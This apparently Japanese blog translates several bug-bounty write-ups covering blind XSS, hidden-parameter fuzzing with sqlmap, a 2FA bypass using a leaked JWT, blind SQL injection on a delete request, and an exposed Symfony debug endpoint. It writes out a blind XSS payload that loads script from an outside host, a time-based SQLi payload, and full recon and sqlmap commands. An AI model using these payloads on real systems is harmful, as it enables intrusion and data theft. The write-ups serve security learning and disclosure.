Shikata Ga Nai

Private? There is no such things.

Get Blind XSS within 5 Minutes — $100を訳してみた

Hello there, ('ω')ノ

 

5 分以内にブラインド XSS を取得を。

 

脆弱性

 ブラインド XSS

 

記事:

 https://infosecwriteups.com/get-blind-xss-within-5-minutes-100-9718bd056570

 

今回は、銀行サイトで Blind XSS を見つけた方法について。

バグ報奨金プログラムを探していたときに redacted.com を見つけ。

有効な提出があった場合、redacted.com は CVSS に従って報奨金を授与し。

だから、それを試してみることに。

 

ブラインド XSS とは、クロスサイト スクリプティング (XSS) の一種であり。

攻撃者が Web ページに一連の悪意のあるペイロードを「盲目的に」展開し。

それらを永続的な状態 (データベースやログ ファイルなど) に。

保存する可能性があり。

 

XSSHunter ペイロード

 <iframe/srcdoc=”<script/src=//narayananm.xss.ht></script>”>

をすばやくコピーし、名前フィールドに貼り付け。

 

https://xsshunter.com/

 

数分後、以下のメールが届いて。

 

 

ペイロードが実行されて。

 

ヒント:

 常にすべての入力フィールドを確認して。

 

Best regards, (^^ゞ

Fuzzing Websites to Find Hidden Parametersを訳してみた

Hello there, ('ω')ノ

 

ウェブサイトをファジングして隠しパラメータを見つけるを。

 

脆弱性

 SQLインジェクション

 

記事:

 https://thegrayarea.tech/fuzzing-for-hidden-params-671724bf3fd7

 

Web サイトまたはアプリケーションの重大な悪用につながる可能性のある。

隠しパラメータを見つけるための優れたハウツー ガイドではなく。

今回は、ウェブサイトをファジングして隠しパラメータや。

その他の悪用ベクトルを見つける方法を。

 

1.gau を使用してサブドメインから URL を取得して。

 

cat subdomains.txt | gau --blacklist png,jpg,gif,jpeg,swf,woff,svg,pdf,tiff,tif,bmp,webp,ico,mp4,mov,js,css,eps,raw | tee all_urls.txt

 

2.URL を消去し、http ステータス コード 200 を確認して。

 

cat all_urls.txt | uro | httpx -mc 200 -silent | tee live_urls.txt

 

3.すべての PHP エンドポイントを grep して。

 

cat live_urls.txt | grep ".php" | cut -f1 -d"?" | sed 's:/*$::' | sort -u > php_endpoints_urls.txt

 

4.隠しパラメータを ffuf でファジングして。

 

GET

for URL in $(<php_endpoints_urls.txt); do (ffuf -u "${URL}?FUZZ=1" -w params_list.txt -mc 200 -ac -sa -t 20 -or -od ffuf_hidden_params_sqli_injections); done

 

POST

for URL in $(<php_endpoints_urls.txt); do (ffuf -X POST -u "${URL}" -w params_list.txt -mc 200 -ac -sa -t 20 -or -od ffuf_hidden_params_sqli_injections -d "FUZZ=1"); done

 

非表示の有効なパラメータが見つかった場合、SQL インジェクションに対して。

脆弱である可能性があるため、次のステップは、次のように。

sqlmapでステータス コード 200 を返した URL パラメータを確認することで。

 

GET の例:

sqlmap -u "URL" --random-agent --tamper="between,randomcase,space2comment" -v 2 --dbs --level 5 --risk 3 --batch --smart

 

この方法を使用して、VPD プログラムで SQL インジェクションをいくつか見つけて。

同じ方法を .asp(x) ファイルに適用できて。

 

リソース:

パラメータのリストについては、これを試してみて。

 

https://github.com/Bo0oM/ParamPamPam/blob/master/params.txt

 

もちろん、ターゲットのカスタム リストを生成できて。

下記は、包括的な HTTP パラメータ検出スイートで。

 

https://github.com/s0md3v/Arjun

 

Best regards, (^^ゞ

2FA Bypass due to information disclosure & Improper access control.を訳してみた

Hello there, ('ω')ノ

 

情報漏えいによる 2FA バイパス & 不適切なアクセス制御を。

 

脆弱性

 DoS

 MFA バイパス

 

記事:

 https://akashhamal0x01.medium.com/2fa-bypass-due-to-information-disclosure-improper-access-control-f9a5a8a4e0af

 

今回は、DOS を探しているときに 2FA バイパスを見つけた方法を。

ロジックが実装されていない場合は DOS が可能であるため。

組織/チームベースの Web サイトなどでこれらのタイプの脆弱性を調べる価値があり。

 

次のような攻撃を実行するために知っておくべきことや。

Web サイトに必要な条件/機能がいくつかあり。

 

 ・独自の組織を作成し、他の組織に参加でき。

 ・ログアウトすると、最後に組織にログインしていたときに組織にログインし。

  たとえば、あなたが組織 A の所有者であり、組織 B に参加している場合。

  組織 B に切り替えてログアウトし、再度ログインすると、組織 B にいるはずで。

 ・2FA があり。

  1.アカウントベースの 2FA

  2.組織ベースの 2FA

 

組織ベースの 2FA が有効になっている場合、その組織にログインするには。

アカウント ベースの 2FA を有効にする必要があり。

以上が技術的な詳細で。

アカウントの 2FA を有効にして、認証フローをいじり始め。

資格情報 (電子メールとパスワード) を入力すると、次のような詳細が表示され。

 

 ・応答は、“2fa”:”<JWT_TOKEN>”などの JWT トークンを含むパラメーターを。

  明らかにして。

 ・応答では、組織 ID とともに参加した組織の名前と、それらの組織で 2FA が。

  有効になっているかどうかも明らかになり。

 

リークされた <JWT_TOKEN> を使用して、API エンドポイントに。

直接 HTTP リクエストを発行しようとして。

(ウェブサイトでは、ほとんどの CRUD アクションに API を使用しているため)

しかし、トークンは実際には認証トークンではないため、403 Denied になり。

しかし、何かが起こるかどうかを確認することに。

 

<JWT_TOKEN> は、 2FA HTTP リクエストで「code」パラメータとともに使用され。

「code」には 6 桁の Google 認証コード値が含まれていて。

ということで、流れはこんな感じで。

 

電子メールとパスワードを入力

応答には、“2fa”:”<JWT_TOKEN>”が表示され。

2fa コードを入力する必要があり。

下記のHTTP 本文に6 桁の 2fa コードを入力し。

 {“2fa”:”<JWT_TOKEN>”, “code”:<6 digit 2fa code”>}

 

そのため、「2fa」とその値が「code」パラメータとともに発行され。

2FA ステップが完了してアカウントにログインし。

つまり、2FA ステップを完了するには「2fa」が必要で。

 

脆弱性は見つかりませんでしたが、あるシーンが頭に浮かび。

DOS につながると思ったので試してみたいと思い。

シーンは次のようなもので。

 

 ・2 つの組織に参加しているとして。

 1 つは自分が所有者である自分の組織で。

 2 つ目は「メンバー」の役割を持つ攻撃者の組織で。

 アカウント 2FA が有効になっておらず、組織ベースの 2FA が。

 有効になっている組織がないと仮定し。

 攻撃者組織 (組織 B) にログインしていて、ログアウトしたとして。

 アカウントにログインすると、組織 B に移動し。

 これは、ログアウトしたときに組織 B にいたためで。

 フローは単純に見えますが、ログインする前に、攻撃者組織 (組織 B) の所有者が。

 組織ベースの 2FA を有効にすると、ログインが拒否されるので。

 ログインするには、2FA を有効にする必要があり。

 確認してみることに。

 

上記のことを実行すると、メールとパスワードを入力するときに2つのオプションが与えられることがわかりました。

 

 ・「この組織では 2FA が有効になっています。2FA をセットアップしてください。」

  オプションをクリックすると、被害者のメールにアクセスできないため。

  コードがメールに送信され、これを選択する価値はなく。


 ・2 番目のオプションは「Switch Org」で、2FA が有効になっていない組織。

  (この場合は自分の組織)に切り替えることができ。

  HTTP リクエストを分析したところ、下記のようなOrg に切り替えるための 。

  下記のようなリクエストが。

 

POST /api/org/<ORGID>
Host: example.com

{“2fa”:”<JWT_TOKEN>”}

 

そこで、漏洩した情報を受け入れてアカウントにログインできる。

エンドポイントを発見して。

したがって、最終的なシナリオは次のようになり。

 

注:

 このシーンでは、被害者は 2 つの組織に参加しており。

 2FA が有効になっている組織は 1 つだけで。

 また、被害者はアカウントベースの 2FA を有効にしていて。

 

メールとパスワードを入力して。

応答から『2fa”:”<JWT>』を取得し。

2FA が有効になっていない組織の組織 ID を取得し。

次に、次の http 要求を発行して。

 

POST /api/org/<ORG ID>
Host: example.com

{“2fa”:”<JWT_TOKEN>”}

 

アカウントにログインするため、アカウント 2FA をバイパスして。

 

要するに、リークされた値を受け入れてアカウントにログインできる。

エンドポイントを見つけ。

 

この記事は、主に機能/例外/エッジ ケースの実装方法に依存していて。

この記事がDOS の発見、新しいエンドポイントの発見などに適用できて。

 

Best regards, (^^ゞ

Blind SQL Injection on Delete Requestを訳してみた

Hello there, ('ω')ノ

 

削除要求でのブラインド SQL インジェクションを。

 

脆弱性

 ブラインド SQL インジェクション

 

記事:

 https://medium.com/@jawadmahdi/blind-sql-injection-on-delete-request-486770af75a6

 

今回のプログラムは、そのプログラムに属するすべての資産を。

追跡することを許可されていて。

 

すぐに偵察で見つけた資産を探し始め。

すべての入力フィールドでテストを開始したドメインに出会い。

無料のユーザアカウントを作成できるようになったので。

その後、内部の機能のチェックを開始し。

ファイルを作成して削除する際に、SQLI ブラインド ペイロードを使用し。

sleep(5) から 5 秒間スリープしていることに気付き。

再度使用しましたが、機能せず。

作成したファイルが削除されたためで。

 

別のファイルを作成し、同じプロセスを実行したところ。

再び正常にスリープ状態になり。

最後に、別のファイルを作成する必要があり、それを削除している間に。

リクエストをキャプチャし、sqlmapを使用したところ。

利用可能なすべてのデータベースが見つかって。

 

使用されるペイロード

 ‘ AND (SELECT 8839 FROM (SELECT(SLEEP(5)))uzIY) AND ‘mSUA’=’mSUA

 

脆弱な削除リクエストは次のように見えて。

 

 

SQLi ブラインド ペイロードを使用した後:

 

 

重要なヒント:

削除要求を曖昧にしないで、各パラメータを手動で確認して。

 

Best regards, (^^ゞ

Old RCE worth $3362.を訳してみた

Hello there, ('ω')ノ

 

3362 ドル相当の古い RCEを。

 

脆弱性

 

記事:

 https://medium.com/@nanwinata/old-rce-worth-3362-1af0cd70c459

 

今回は、Shodan からではなく、 favicon hashから始まり。

projectdiscoveryのhttpx でスキャンを開始し。

 

https://github.com/projectdiscovery/httpx

 

次に、スキャン中にランダムなfavicon を見つけ。

 

https://retailersupport.redacted.com/favicon.ico [200] [Express,Node.js] [-2115385***]

 

ターゲットのすべてのサブドメインからのランダムなハッシュで。

Shodan に行き、「hash:favicon:-2115385***」を検索し。

幸運なことに、表示される IP アドレスは 1 つだけで。

それから、Hackerone のプログラム ページにある「公式」の IP アドレスとは。

異なるため、この IP アドレスを掘り下げ続けて。

 

Dirsearch は、掘り下げるための次のツールで。

したがって、この IP を使用して、さらに多くのことを見つけていくと。

 

 python3 dirsearch -u 127.0.0.1

 

スキャン中に、このようなエンドポイントを見つけ

 

 https://127.0.0.1/app_dev.php/

 

その後、それをGoogle で検索して。

Google の記事のほとんどは、Symfony フレームワークを示していて。

したがって、symfonyフレームワークについてもっと知り始め。

Symfony Framework RCE」を入力すると、それに関する非常に多くの記事があり。

このフレームワークを活用する方法を教えてくれて。

 

このエンドポイント https://127.0.0.1/app_dev.php/ から。

このエンドポイントが認証なしで設定されている場合は。

Symfony フレームワークには「phpinfo」が公開されるというバグがあり。

次に、それは https://127.0.0.1/app_dev.php/_profiler/phpinfo になり。

うまくいって。

 

Configuration 2apache2handler 3Apache Version Apache/2.4.18 (Ubuntu) mod_fcgid/2.3.9 OpenSSL/1.0.2g 4Apache API Version 20120211 5Server Administrator info@dev.redacted.co.uk 6Hostname:Port dev.redacted.co.uk:0 7User/Group www-data(33)/33 8Max Requests Per Child: 0 — Keep Alive: off — Max Per Connection: 100 9Timeouts Connection: 30 — Keep-Alive: 10 10Virtual Server Yes 11Server Root /etc/apache2

 

Best regards, (^^ゞ